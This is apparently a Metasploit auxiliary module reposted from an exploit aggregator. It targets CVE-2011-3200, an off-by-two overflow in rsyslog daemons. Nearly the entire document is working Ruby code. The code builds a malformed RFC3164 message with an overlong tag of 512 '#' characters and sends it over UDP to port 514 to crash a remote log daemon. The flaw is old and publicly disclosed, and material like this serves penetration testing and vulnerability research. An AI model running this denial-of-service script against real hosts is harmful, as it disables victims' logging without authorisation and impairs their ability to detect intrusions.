## https://sploitus.com/exploit?id=PACKETSTORM:180541
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Dos
def initialize
super(
'Name' => 'rsyslog Long Tag Off-By-Two DoS',
'Description' => %q{
This module triggers an off-by-two overflow in the
rsyslog daemon. This flaw is unlikely to yield code execution
but is effective at shutting down a remote log daemon. This bug
was introduced in version 4.6.0 and corrected in 4.6.8/5.8.5.
Compiler differences may prevent this bug from causing any
noticeable result on many systems (RHEL6 is affected).
},
'Author' => 'hdm',
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-3200'],
[ 'URL', 'https://www.rsyslog.com/potential-dos-with-malformed-tag/' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=727644' ],
],
'DisclosureDate' => 'Sep 01 2011')
register_options(
[
Opt::RPORT(514)
])
end
def run
connect_udp
pkt = "<174>" + ("#" * 512) + ":"
print_status("Sending message containing a malformed RFC3164 tag to #{rhost}")
udp_sock.put(pkt)
disconnect_udp
end
end